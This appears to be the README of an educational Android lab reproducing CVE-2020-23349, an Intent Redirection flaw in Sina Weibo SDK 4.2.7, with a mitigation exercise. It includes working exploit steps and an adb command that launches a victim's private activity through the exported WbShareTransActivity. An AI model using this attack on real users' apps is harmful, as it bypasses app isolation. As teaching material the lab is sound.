CVE-2020-23349 Android Lab

An educational project that reproduces the Intent Redirection vulnerability in Sina Weibo Android SDK 4.2.7 locally.

Use only on authorized test devices or emulators. Do not use it against real user apps.

Structure

• victim: vulnerable app that includes the actual openDefault-4.2.7.aar
• attacker: attacker app that invokes the exported WbShareTransActivity
• victim/.../PrivateActivity: reproduction target with android:exported="false"

The vulnerable flow is as follows.

Attacker 앱
  -> exported WbShareTransActivity
  -> Intent Extra의 startActivity/gotoActivity
  -> victim의 PrivateActivity 실행

Build

Android SDK 36 and JDK 17 are required.

./gradlew clean assembleDebug

Generated files:

victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk

Installation and Reproduction

adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity

1. If necessary, run the Victim app once.
2. In the Attacker app, press the Launch private Activity button.
3. If the EXPLOIT SUCCESS screen appears, the reproduction is successful.

You can also reproduce it directly with ADB.

adb shell am start \
  -n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
  --es startActivity lab.cve202023349.victim.PrivateActivity \
  --es gotoActivity lab.cve202023349.victim.PrivateActivity

Why It Works

SDK 4.2.7 trusts the startActivity and gotoActivity strings from an external Intent and uses them in the following form.

resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);

Since this is the Context of the Victim app, Android treats it as if the Victim app is executing its own private Activity.

In modern Android builds, android:exported must be explicitly specified, so this project explicitly sets true in victim/AndroidManifest.xml to reproduce the implicit exported state of the old SDK.

Mitigation Exercise

In exercises that do not require sharing functionality, change the following value to false and rebuild.

<activity
    android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
    android:exported="false" />

Afterwards, performing the same attack will be blocked with a SecurityException. In real products, you should remove Weibo SDK 4.x and upgrade to the latest maintained version.

SDK Source

The included AAR is taken from the 4.2.7 commit of the official Sina Weibo public repository.

• Repository: https://github.com/sinaweibosdk/weibo_android_sdk
• Commit: 99daf8a (4.2.7)
• File: 新文档/openDefault-4.2.7.aar